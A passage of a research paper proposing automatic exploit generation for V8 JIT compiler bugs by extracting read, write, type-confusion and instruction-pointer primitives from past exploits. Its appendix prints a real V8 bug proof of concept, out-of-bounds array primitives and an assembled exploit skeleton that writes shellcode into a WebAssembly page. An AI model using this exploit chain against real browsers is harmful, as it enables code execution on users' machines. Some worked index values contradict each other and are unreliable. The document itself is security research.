


Figure 1: Automatic Exploit Generation Framework

which we refer to as exploitation primitives (łprimitivesž for short),

that are particularly useful in the context of exploit generation.

Each primitive is extracted from an existing exploit and repre-

sented in terms of one sequence of operations (described below).

The operations exchange data between several objects. Among the

several objects, we choose the object whose metafield is changed

as the CoreObj because the change of a metafield can give us a

primitive. Each primitive has an associated ability that specifies

its operational behavior, i.e., what it is able to do. We have the

following 4 kinds of primitives:

• Read(addr). Ability(addrs). The primitive is able to read

the value at the given address (addr). The ability for this kind

of primitives is described by the addresses (addrs) it can read

from.

• Write(addr, value). Ability(addrs). The primitive is able

towrite an attacker-controlled value to an attacker-controlled

address. The ability for this kind of primitives is described

the same as the read primitives. We do not give a value ex-

pression because most of the time we can use the CoreObj

to directly overwrite the whole field at the given address.

• Ip-hijack(addr). Ability(n). The primitive is able to over-

write the instruction pointer register with an attacker-controlled

address. Such primitives are created by modifying a code

pointer metafield. Before the modification, the instruction

pointer register uses the original code pointer. After the

modification, the register uses the modified code pointer.

We compare the two register values, and record the number

of consecutive bytes starting from the lowest byte that are

different. We use n to represent the number and say that its

ability is being able to control the lowest n bytes.

• Tycon(obj, DstType). Ability(SrcType,DstType).The prim-

itive is able to convert the type of an object to another

attacker-specified type DstType. The primitive’s ability is

being able to convert an object of SrcType to another object

of DesType.

Note that this is not intended to be an exhaustive list. Moreover,

our framework is not tied to any particular set of primitives.

Each primitive is represented by a sequence of operations. The

operations all belong to the following three kinds:

• ReadData(obj, field). This operation reads the value at a

specified field of a specified object.

• WriteData(obj, field, data). This operation writes attacker-

specified data to an attacker-specified field of an attacker-

specified object.

• CreateObj(specification). This operation creates an object

that is the same as the given specification. We extract objects

from the memory. For each object, we find out its type and

non-metafield values. We use such values and type as its

specification because they determine which code we should

use and the arguments. An example of such specifications

can be found in the appendix.

Besides primitives, another important concept is exploitation

plan. We building exploits by combining primitives and exploitation

plans.

An exploitation plan is a mixture of real code and descriptions

of wanted primitives. The descriptions look the same as our 4 kinds

of primitives. addr is represented by a tuple (base, index, offset).

After replacing the descriptions with real primitives, the execution

of the exploitation plan will achieve the goal of the attacker such

as spawning a shell. For example, an exploitation plan may look

like this:

1 var OBJA = [0, 97, 115, ..., 11];

2 var OBJC = new Uint8Array(OBJA);

3 var OBJD = new WebAssembly.Module(OBJC);

4 var OBJE = new WebAssembly.Instance(OBJD, {});

5 // Starting from Read, this is a description of

6 // a wanted primitive. It means we want a read

7 // primitive to read the field at offset 16∗8 from OBJE.

8 var obje16 = Read((OBJE, None, 16*8));

9 // Write SHELLCODE to the address obje16.

10 Write((obje16, None, 0), SHELLCODE);

11 OBJE.exports.main();

If we replace the primitive descriptions with real primitives, the

exploitation plan becomes the final exploit. The execution of it will

create a RWX page, inject SHELLCODE into it, and eventually run

the SHELLCODE and give us a shell.

Figure 1 shows the conceptual structure of our framework. There

are two phases: Preprocessing and Exploit Creation. The first

phase is responsible for extracting primitives from existing exploits,

while the second applies the extracted primitives to the exploitation

of new bugs. Details of their behavior are discussed in Sections 3 and

4. The Object Database stores information about object structures
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and relevant methods and is shared between the two phases. Each

object is specified by the type of the object and its sequence of

fields; each field is represented by its type and size (in bytes).

3 PREPROCESSING

Preprocessing involves extracting exploitation primitives from ex-

isting exploits. The Primitive Extractor assumes that we are able

to detect the objects created in the full execution trace of an ex-

ploit. We need this assumption because our approach is based on

reasoning about the data flow between different objects.

By data flow, we mean that the field values and field addresses

in an object flow to another object. For example, a data flow can

be like this: value in field 1 of object A is copied to field 2 of object

B. The data flow information is captured in our representation of

primitives. The representation of each primitive is a sequence of

operations. For example, there is a read operation in the sequence

which reads field 1 of object A. Later, there is a write operation that

writes this value to field 2 of object B. So we are able to capture this

data flow in our representation: field 1 of object A -> field 2 of object

B. The representations of primitives are generated by algorithm 1.

The two algorithms are going to be discussed in section 3.1.

Before identifying objects, we need to find out the memory areas

that store objects. We use the high address shared by a group of

objects to describe a memory area. For example, if the addresses of

a group of objects all begin with 0x135a94, we say that the shared

high address is 0x135a94 and the corresponding memory area is

0x135a94.

For v8, we are interested in two kinds of memory areas: Map area,

areas that store other objects. Map is an object. But we separate

it from other objects because it is special for the following reason.

Map stores type information of other objects. The structure of most

objects starts with a pointer to a Map object. The two facts allow

us to use Map to help identify other objects in the following way.

First, we find pointers to Map area. Each such pointer indicates the

beginning of an object. Then we use its associatedMap to determine

its type and structure. With its structure, we are able to identify

this whole object in the memory.

3.1 Primitive Extraction

As discussed in Section 2, each primitive is represented by a se-

quence of operations. Algorithm 1 shows the procedure used to

extract the sequence of primitives primitives(𝑒) in T (𝑒) given an

instruction-level execution trace T (𝑒) for an exploit 𝑒 , We first ex-

tract the sequence of operations OpSeq(𝑒) from T (𝑒). OpSeq(𝑒) is

initially empty. We begin by gathering all memory reads and writes

in T (𝑒) and use them to analyze the data flow between objects.

We scan through the reads and writes from the beginning to the

end. If we find there is an object created, we record this object and

append a CreateObj operation to OpSeq(𝑒). If we find a write to

an recorded object, we append aWriteData operation to OpSeq(𝑒).

If we find a read from an recorded object, we append a ReadData

operation to OpSeq(𝑒). Eventually, OpSeq(𝑒) stores all the creation,

read, and write operations on objects in T (𝑒).

In this algorithm, FindObjMatch looks at our objs list and re-

turns the object that the current instruction is accessing. FindField

returns the field being accessed. FindSrc returns where the value

Algorithm 1: Extract operation sequence on objects

Input: An instruction-level execution trace T (𝑒) for an

exploit e

Output: An operation sequence OpSeq(𝑒)

1 rws = GatherMemReadsAndWrites(T (𝑒));

2 i = 0;

3 objs = [];

4 OpSeq(𝑒) = [];

5 while i <len(rws) do

6 obj = FindObjMatch(i, rws, objs);

7 if isRead(i, rws) and obj then

8 field = FindField(i, rws, obj);

9 append(ObjRead(obj, field)) to OpSeq(𝑒);

10 else

11 if obj then

12 value = FindSrc(i, rws, seq_trace);

13 field = FindField(i, rws, obj);

14 append(ObjWrite(obj, field, value)) to OpSeq(𝑒);

15 else

16 if isHeadOfObjects(i, rws) then

17 type = ObjTypeAnalysis(i, rws);

18 obj_instance = FindObjMemFields(i, rws);

19 if isValidObj(obj_instance, type) then

20 objs.append(obj_instance);

21 append(ObjCreation(obj_instance)) to

OpSeq(𝑒);

22 i += 1;

being written comes from. It either comes from a previous mem-

ory read or it is self-defined. isHeadOfObjects returns whether the

current memory write is a Map pointer. Such pointers represent

the beginning of objects. ObjTypeAnalysis returns the type value

stored at a specific offset from the Map pointer. FindObjMemFields

returns the memory values of the object’s fields. isValidObj tells

whether the object agrees with its structure.

We then separate OpSeq(𝑒) into different groups. Each group

contains the data flow between several objects: Data inside the

group does not flow out. Data outside the group does not flow in.

This is the criteria on how we separate the groups. Each group is

potentially a primitive. The last thing is to filter out those groups

that are unlikely to be primitives. Read and write primitives usually

involve the modification of bound field, for example the length field

or the pointer field to an element area. Type Confusion primitives

usually involve the modification of type field. Ip-hijack primitives

usually involve the modification of code pointer field such as a

function pointer. For the groups that do not have the above patterns,

we remove them.

3.2 Primitive Database

This database has 4 categories as described in Section 2: Read,

Write, Ip-hijack, Type Confusion. Each primitive is stored in its cor-

responding category. Each primitive is represented by a 3-element
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tuple: (sequence, usage, ability). We use a sequence of operations to

represent extracted primitives. This has been explained in section

2 and 3. The operation indices in the sequence which are used to

invoke the primitive is called its usage. Each primitive has its own

ability which is described in section 2. In the beginning of section

7, we show what our Primitive Database looks like.

For each category of primitives, we sort them according to abil-

ities (defined in section 2): powerful primitives are before other

primitives. For read and write primitives, we have Ability(addrs) to

describe their ability. addrs is a set of addresses that can be accessed.

If the size of the set is greater than others, it is considered to be

more powerful. For Ip-hijack primitives, their ability is described

by Ability(n). If an Ip-hijack primitive has a bigger n than others, it

is considered to be more powerful. TyCon primitives are equally

powerful.

4 EXPLOIT CREATION

Exploit creation for a JIT compiler given a bug PoC involves con-

structing an input for the JIT compiler, namely, a source program,

whose JIT compilation and execution will exploit the target vul-

nerability appropriately. In our case, both the bug PoC and the

constructed exploit are JavaScript programs. This section discusses

the modules involved in this process in our framework.

4.1 Memory Analyzer

The Memory Analyzer maintains the program state. A program

state keeps track of values and permissions (read/write/execute)

associated with registers and memory locations as well as objects

that are in memory, i.e., the locations of the objects, the fields com-

prising the objects, and the values for those fields. The Memory

Analyzer is responsible for monitoring the program state and pass-

ing the state information to the Primitive Application module and

the Exploitation module. The two modules use the state informa-

tion to make sure that the memory is in the desired state during the

exploitation process. Algorithms 4 and 2, together with the example

in the appendix show how this module is used.

4.2 Bug Analyzer

JIT compilers have optimization bugs. Some of the bugs will even-

tually cause heap corruption bugs in the generated dynamic code.

Our Bug Analyzer is to understand how we can modify a PoC file,

so that the optimization bug and the heap corruption bug are still

triggered.

The idea is to identify necessary features in the PoC file. As

long as the features are satisfied, the heap corruption bug will be

triggered. The set of features that we consider is the optimization

actions taken by the JIT compiler. Given a PoC file, we randomly

modify it many times and collect their optimization action sequence.

For those modifications where the heap corruption bug is triggered,

we possibly use the Longest Common Subsequence algorithm on

their optimization action sequences. The algorithm will give us a

sequence of features that are common in these modifications. In

other words, the sequence of features needs to be satisfied for the

heap corruption bug to be triggered.

Another job of Bug Analyzer is analyzing the ability of a bug.

Since we are dealing with heap corruption bugs, we are interested

in which values can be written to which addresses. We are not clear

about how this will work. But we need to decide which and how

the values in a PoC determine the addresses being corrupted and

the data used in the corruption.

4.3 Primitive Application

4.3.1 Assumptions. The Primitive Application module assumes

that if an object A is allocated before another object B in time, A is

before B in the direction of heap growth. This allows us to easily

overwrite B with A, which saves the trouble of heap manipulation.

4.3.2 Applied Primitives. This module takes an operation sequence

from the Primitive Database and applies it to new bugs. The ap-

plied primitives are added to the Applied Primitives database. This

database has 4 categories: Read, Write, Ip-hijack, Type Confusion.

Each primitive is stored in one category. We record each primitive’s

usage and ability. Usage tells us what JavaScript code we should

use to call the primitive. For each category of primitives, we sort

them according to abilities: powerful primitives are before other

primitives. This has been discussed in section 3.2.

4.3.3 Primitive Construction. We use algorithm 2 to apply the prim-

itives in our Primitive Database to new bugs.

Algorithm 2: Primitive Construction

Input: sequence, object-database, memory-analyzer,

applied-primitives

Output: code

1 pre-conditions = post-conditions = [];

2 for operation ∈ sequence do

3 pre-conditions = post-conditions;

4 if not memory-analyzer.Check(pre-conditions) then

5 return failure;

6 code = object-database.Implement(operation);

7 if not code then

8 code = applied-primitives.Implement(operation);

9 if not code then

10 return failure;

11 post-conditions.append(operation.condition);

12 if memory-analyzer.Check(post-conditions) then

13 yield code;

14 else

15 return failure;

The algorithm takes a sequence from the Primitive Database. It

tries to implement each operation in the sequence. It first tries to

use normal object method to implement the operation. If it fails, it

chooses a primitive from the Applied Primitives to implement the

operation. If it succeeds, it outputs the corresponding code.

The pre- and post- condition checks make sure each operation is

done correctly. For example, we have a write operation that writes

value 0x1 to field A. The post condition is that field A should have

value 0x1. The post condition then becomes the pre condition of

the next operation. object.database.Implement is pretty straight
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forward. For example, an operation says that we need to create an

array of 2 zeros. The function then generates code "[0, 0]" that cre-

ates the array. applied-primitives.Implement takes an operation and

decides which category of primitives it demands. Then it chooses

the most powerful one of that category from the Applied Primitives

database. Next it asks the memory-analyzer to look at the memory

and solve the parameters in the chosen primitive.

4.4 Exploitation

The Exploit Plan Database contains lots of exploitation plans. Each

plan gives a different way of using primitives to reach users’ goal

of attack. We set some plans in the database. One example is given

in section 2. Our system is able to automatically implement the

plans and eventually reach a goal of attack such as spawning a shell.

Besides, users can also define their exploitation plans to achieve

their goal of attack.

The definition of exploitation plan is given in section 2. In order

to turn a plan into a real exploit, we traverse all the descriptions of

wanted primitives in this plan, and replace themwith real primitives.

The real primitives are chosen from the Applied Primitives database.

The most powerful one is firstly chosen. The Memory Analyzer

is used to solve the parameters in the primitive. If this primitive

is not able to finish the job of the description, we choose the next

primitive until there is no primitive to choose.

5 IMPLEMENTATION STATUS

A prototype of the PREPROCESSING component has been finished.

We applied the component to 4 exploits two of which involve JIT

compilation. We are able to extract totally 1764 primitives which

contain all the primitives actually constructed in each exploit. To

be more concrete, we extracted 3 primitives from the exploit for

bug [3], 6 from [7], 25 from [6], 1730 from [8]. We extracted more

than a thousand primitives from the last one is because that we

detected so many objects and the bound field or type field of the

objects is modified by v8. In our implementation, if a bound field

or type field is modified, then it is potentially a primitive. That is

why so many primitives were found.

The idea is to extract the data flow within different object groups.

An object group contains objects that only access objects within

the group. If the metafield of an object is modified, it is potentially

a primitive. If the metafield is a bound field such as length field,

we classify it into Read and Write primitives. If the metafield is a

executable code pointer, we classify it into Ip-hijack primitives. If

it is a type field, we classify it into TyCon primitives. The modified

object is within an object group. We use a sequence of operations

(ReadData, WriteData, CreateObj) to model the creation of the

object group and the data flow within it. The sequence is also our

representation for the primitive.

We are working on the second component now. The Bug Ana-

lyzer is an important module to be implemented. It analyzes the

JIT compiler to understand how a PoC file can be modified so that

the bug will still be triggered. In order to do so, we plan to adopt

the method in section 4.2.

The Memory Analyzer is not implemented. It is expected to

monitor memory values. We believe its implementation is not a

problem because there are other papers doing a similar job. For

example, Gollum [14] used SHAPESHIFTER to log all live objects

in the memory and record the memory values at a specific address.

The Exploitation and Primitive Application module are partly

implemented. They apply primitives to bugs and translate exploita-

tion plans into real exploits. We will continue to finish all the rest

modules and evaluate them.

6 RELATEDWORKS

There are a group of papers about automatic exploit generation

(AEG) that focuses on exploiting programs that take pure data

as input. They are not able to exploit huge programs that take

source code as input, for example, interpreters and browsers. This

is because the two kinds of programs require different format of

input. Besides, these papers rely on fuzzing or symbolic execution

to discover primitives and generate exploits. Fuzzing is not an

ideal choice for huge programs because huge programs have huge

numbers of program paths for fuzzing to explore, and fuzzing is

not efficient and sometimes cannot give us useful results. Symbolic

execution also has path explosion problem which makes it time-

consuming and not applicable system-wide.

In 2011, Avgerinos et al. [2] proposed the first AEG system. They

symbolize the input values and observe which memory addresses

they can control. If they are able to control a return address and a

buffer on the stack, they solve the symbolic formulas, inject shell-

code to the buffer, and modify the return address to the buffer. They

are able to exploit some programs such as iwconfig and socat.

In 2012,Mayhem [4]was proposed. They took a similar way. First,

they use taint analysis to find the path that taints the instruction

pointer. Second, they use symbolic execution to analyze how they

can get to the point where the instruction pointer is tainted and how

they can control the instruction pointer. By solving the symbolic

formulas, they are able to make the instruction pointer point to an

address that contains injected shellcode. They are able to exploit

programs such as iwconfig and htget.

There are other works [13, 15ś17, 23, 24, 29] that also take sim-

ilar ways. They rely on fuzzing or symbolic execution to exploit

programs that take data as input.

On other other hand, there are a group of papers focusing on the

automatic exploitation of heap allocators because once we control

heap allocators, we control the programs that use the allocators.

However, these papers only focus on what happens within a compo-

nent of programs - the allocators. They are not able to exploit bugs

that exist in programs but have nothing to do with their allocators.

Moreover, they do not consider and cannot exploit dynamic code.

Dusan et al. [20] symbolizes the overflowed values and uses

symbolic execution to find the controlled instructions that can be

used as primitives. HAEPG [30] symbolizes all input bytes and uses

symbolic execution on function paths to search for interested in-

structions as primitives. HeapHopper [9] uses symbolic execution

in a similar way. They symbolize the corrupted allocator metadata

and explore its influences and thus find primitives. Insu et al. [28]

defines several actions and uses fuzzing to try different combina-

tions of the actions. They want to detect specific primitive patterns

resulted from the actions.

Besides, automatic kernel exploitation is also a hot topic. FUZE

[27] uses fuzzing and symbolic execution to find exploitable states
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for UAF bugs. Then they use symbolic execution to determine

the relationship between input and the exploitable states. KOOBE

[5] uses fuzzing to try differnet program path and uses symbolic

execution to search for primitives among the influenced instructions

by the bug.

Last but not least, there are papers about the automatic exploita-

tion of interpreters and browsers as well. This is most similar to

our work. However, these papers do not consider dynamic code.

They focus on analyzing interpreter and browser code. Therefore,

they cannot analyze and exploit code that is dynamically generated

in interpreters and browsers.

In 2018, PrimGen [11] was proposed to automatically generate

primitives for browsers. They perform static analysis to find sinks

after the crash point. Then they use symbolic execution on the

local areas: from the crash point to the sinks. Solving the symbolic

formulas will give them the values that lead to the sinks.

In 2019, Gollum [14] corrupts different objects on the heap in a

fuzzing manner and sees what primitives they can get. They didn’t

use symbolic execution to find primitives. Instead, each crash after

the corruption of an object is considered to be a potential primitive.

7 CONCLUSION

We proposed a framework for automatic exploit generation in JIT

compilers, focusing in particular on heap corruption vulnerabilities

triggered by dynamic code. The framework contains two compo-

nents: PREPROCESSING, EXPLOIT CREATION FROM BUG POC.

The first component models primitives into sequences of object

operations. With this modelling, this component is able to extract

totally 1764 primitives from 4 exploits. Two of the exploits involve

JIT compilation. The second component applies the extracted prim-

itives to new bugs and thereby generates exploits. We are working

on the second component, especially the Bug Analyzer which is

the main module in the second component.
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3 Usage: 9, 10, 11, 12

4 Ability: Object -> Double

A.2 PoC of a Bug to be Exploited

The following is a proof-of-concept (PoC) of a bug [8] in V8 release

version 7.2.502.3. We will use this PoC to demonstrate how our

framework works.

1 function fun(arg) {

2 let x = arguments.length;

3 a1 = new Array(0x10);

4 a1[0] = 1.1;

5 a2 = new Array(0x10);

6 a2[0] = 1.1;

7 a1[(x >> 16) * 21] = 1.39064994160909e-309;

8 a1[(x >> 16) * 41] = 1.39064994160909e-309;

9 }

10 var a1, a2;

11 var a3 = new Array();

12 a3.length = 0x11000;

13 for (let i = 0; i < 30000; i++) fun(1);

14 fun(...a3);

This is a JIT compiler bug. During its optimization, the type

value of x is considered to be [0, 0]. The type of x is a range. It

means that x can only be 0. However, its real value is 1. When we

access the element of a1 by expression a1[(x >> 16) * 21] or

a1[(x >> 16) * 41], the bound check is eliminated because the

value of x is 0 determined by its type, so (x >> 16) * 21 and

(x >> 16) * 41 are also 0 and will never access out-of-bounds.

However, the real value of x is 1. When we do the real element

access with the two index (x >> 16) * 21 and (x >> 16) * 41,

we will access out-of-bounds since the real value of x is 1.

A.3 Bug Analyzer

Our Bug Analyzer analyzes the PoC file and stores the following

information into our Applied Primitives: Type, Usage, Ability. Its

primitive type is Read, Write. Since we use the array object a2 to

do out-of-bounds reads and writes, its usage is ‘a2[INDEX]’ and

‘a2[INDEX] = DATA’. Its ability is ‘ThirdField(a2)+INDEX*8+0xf’.

Since the length field of a2 is overwritten to 1.39064994160909e-309,

which decodes to 65535, the range of INDEX is [0, 65535]. The

3rd field of a2 points to its element area. (See JSArray structure

in the beginning of appendix). The ability means that it is able to

access any address within the address expression. So we will store

the following entries in our Applied Primitives database.

1 Type: Read

2 Usage: a2[INDEX]

3 Ability: ThirdField(a2)+INDEX*8+0xf, INDEX = [0,

65535]

4

5 Type: Write

6 Usage: a2[INDEX] = DATA

7 Ability: ThirdField(a2)+INDEX*8+0xf, INDEX = [0,

65535]

All upper words such as INDEX and DATA are built-in parame-

ters. They need to be solved at runtime so that the primitive can

access a specific address. ThirdField function is used to get the value

of the third field of an input object.

A.4 Primitive Application

Suppose our system has extracted the following primitives and

stored them in our Primitive Database.

1 Type: Read

2 Sequence:

3 ObjSpecification1:

4 A: [JSArray, None, ->B, None]

5 B: [JSFixedDoubleArray, None, 1.1]

6 CreateObj(ObjSpecification1)

7 WriteData(A, 3, 0x500)

8 ReadData(B, INDEX+2)

9 Usage: 8

10 Ability: GetAddr(B)+INDEX*8+0xf, INDEX = [0, 0

x500]

11

12 Type: Write

13 Sequence:

14 ObjSpecification1:

15 A: [JSArray, None, ->B, None]

16 B: [JSFixedDoubleArray, None, 1.1]

17 CreateObj(ObjSpecification1)

18 WriteData(A, 2, ADDR-0x10)

19 WriteData(B, 2, DATA)

20 Usage: 18, 19

21 Ability: (ADDR-0x10)+0*8+0xf, ADDR =

DiffLowBytes(ThirdField(A))

22

23 Type: Write

24 Sequence:

25 ObjSpecification1:

26 A: [JSArray, None, ->B, None]

27 B: [JSFixedDoubleArray, None, 1.1]

28 CreateObj(ObjSpecification1)

29 WriteData(A, 3, 0x500)

30 WriteData(B, INDEX, DATA)

31 Usage: 30

32 Ability: GetAddr(B)+INDEX*8+0xf, INDEX = [0, 0

x500]

For read and write primitives, their ability represents a range

of addresses that they can access. The DiffLowBytes in first write

primitive in the Primitive Database represents the number of con-

secutive low bytes that are different from its original value. This

write primitive is created by changing the third field of object A.

Before and after the change, the third field has two different values.

The DiffLowBytes takes the two different values and returns the

number of changed consecutive low bytes n. ADDR = n means that

ADDR can use any value for the lowest n bytes. We will use 4 for n

to be concrete.

Now we apply each representation of extracted primitives to the

new bug. We use the first read primitive as an example. The two
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write primitives are similar. In the beginning of the sequence of the

first read primitive, it says creating a JSArray object whose element

is 1.1. So the Primitive Application module looks at the code for

creating such an object in the Object Database. And it generates

code ‘var _var1_ = [1.1];’.

For the WriteData operation at line 7, it is overwriting the

metafield of object A. So we need a primitive from the Applied

Primitive database. There is one write primitive in the database:

‘a2[INDEX] = DATA’. INDEX and DATA are parameters. DATA is

the value we want to write, 0x500. INDEX is used to locate the

3rd field of object A. Our Memory Analyzer locates the position of

object A and object a2, and decides INDEX = (Addr(ThirdField(A)) -

(Addr(B)+0x10))/8 = 60. 0x10 is the header size of object B. Addr(B)

+ 0x10 is where it starts to store its elements. Each field is 8 bytes

long. So we divide the difference of the two addresses by 8. So line

7 corresponds to code ‘a2[60] = 0x500’.

The last operation ReadData at line 8 has an INDEX parameter.

This parameter belongs to the read primitive that we are construct-

ing, and thus different from the previous INDEX parameter which

belongs to the write primitive in the Applied Primitives database.

We use INDEX’ to represent the current parameter. This line is the

usage of the read primitive. Since we are constructing the primitive

instead of using it to do a concrete job, we do not translate this line

into real code for now.

Later when we use the primitive, we need to solve the INDEX’ to

be a specific value. In the ability expression, 0xf is the header of B.

INDEX indicates the element it can access. For example, suppose B

= 0x11, and we want to read an address 0x30. We solve the equation:

0x11 + INDEX*8 + 0xf = 0x30. So we have INDEX = 2. INDEX = [0,

0x500] is its value range.

After applying the 3 primitives in the Primitive Database, we

have the following new applied primitives in our Applied Primitives

database:

1 Type: Read

2 Usage: _var1_[INDEX];

3 Ability: ThirdField(_var1_)+INDEX*8+0xf, INDEX =

[0, 0x500]

4

5 Type: Write

6 Usage: _var1_[36] = ADDR-0X10; _var3_[0] = DATA;

7 (_var3_ is an object corresponding to the

CreateObj operation in the sequence)

8 Ability: (ADDR-0x10)+0*8+0xf, ADDR = 4

9

10 Type: Write

11 Usage: _var1_[INDEX] = DATA;

12 Ability: ThirdField(_var1_)+INDEX*8+0xf, INDEX =

[0, 0x500]

A.5 Exploitation

Suppose our current exploitation plan is the following.

1 var OBJA = [0, 97, 115, ..., 11];

2 var OBJC = new Uint8Array(OBJA);

3 var OBJD = new WebAssembly.Module(OBJC);

4 var OBJE = new WebAssembly.Instance(OBJD, {});

5 // We want a read primitive for the field at offset 16∗8 from

OBJE.

6 var obje16 = Read((OBJE, None, 16*8));

7 // Write SHELLCODE to the address obje16.

8 Write((obje16, None, 0), SHELLCODE);

9 OBJE.exports.main();

There are two descriptions of wanted primitive at line 6 and 8.

Line 6 wants to read offset 16*8 from OBJE. In the Applied Primitive

database, we have read primitive: ‘_var1_[INDEX];’. Suppose the

ThirdField(_var1_) in the ability expression is evaluated to 0x21.

Then our Memory Analyzer comes to solve the parameter: 0x21 +

INDEX*8 + 0xf = Addr(OBJE) + 16*8. Suppose Addr(OBJE) is 0x30

observed by our Memory Analyzer. Then INDEX = 16. Therefore,

for line 6, we have ‘var obje16 = _var1_[16];’.

Line 8 has a similar reasoning process. We use the write primitive

at line 5 in our Applied Primitive database. So we have ‘_var1_[36]

= obje16-0x10; _var3_[0]=SHELLCODE;’.

If we synthesize the PoC, applied primitives, and the exploitation

plan, we have the following exploit that spawns a shell.

1 /∗ The PoC ∗/

2 function fun(arg) {

3 let x = arguments.length;

4 a1 = new Array(0x10); a1[0] = 1.1;

5 a2 = new Array(0x10); a2[0] = 1.1;

6 a1[(x >> 16) * 21] = 1.39064994160909e-309;

7 a1[(x >> 16) * 41] = 1.39064994160909e-309;

8 }

9 var a1, a2;

10 var a3 = new Array(); a3.length = 0x11000;

11 for (let i = 0; i < 30000; i++) fun(1); fun(...

a3);

12 /∗ Primitive1:

13 Line 1 through line 7 in the Primitive Database ∗/

14 var _var1_ = [1.1]; a2[60] = 0x500;

15 /∗ Primitive2: Line 12 through line 17∗/

16 var _var3_ = [1.1];

17 /∗ exploitation plan ∗/

18 var OBJA = [0, 97, 115, ..., 11];

19 var OBJC = new Uint8Array(OBJA);

20 var OBJD = new WebAssembly.Module(OBJC);

21 var OBJE = new WebAssembly.Instance(OBJD, {});

22 /∗ Use of Primitive1 ∗/

23 var obje16 = _var1_[72];

24 /∗ Use of Primitive2 ∗/

25 _var1_[36] = obje16 - 0x10;

26 _var3_[0] = SHELLCODE;

27 /∗ shellcode execution ∗/

28 OBJE.exports.main();

Figure 3: Generated Shell
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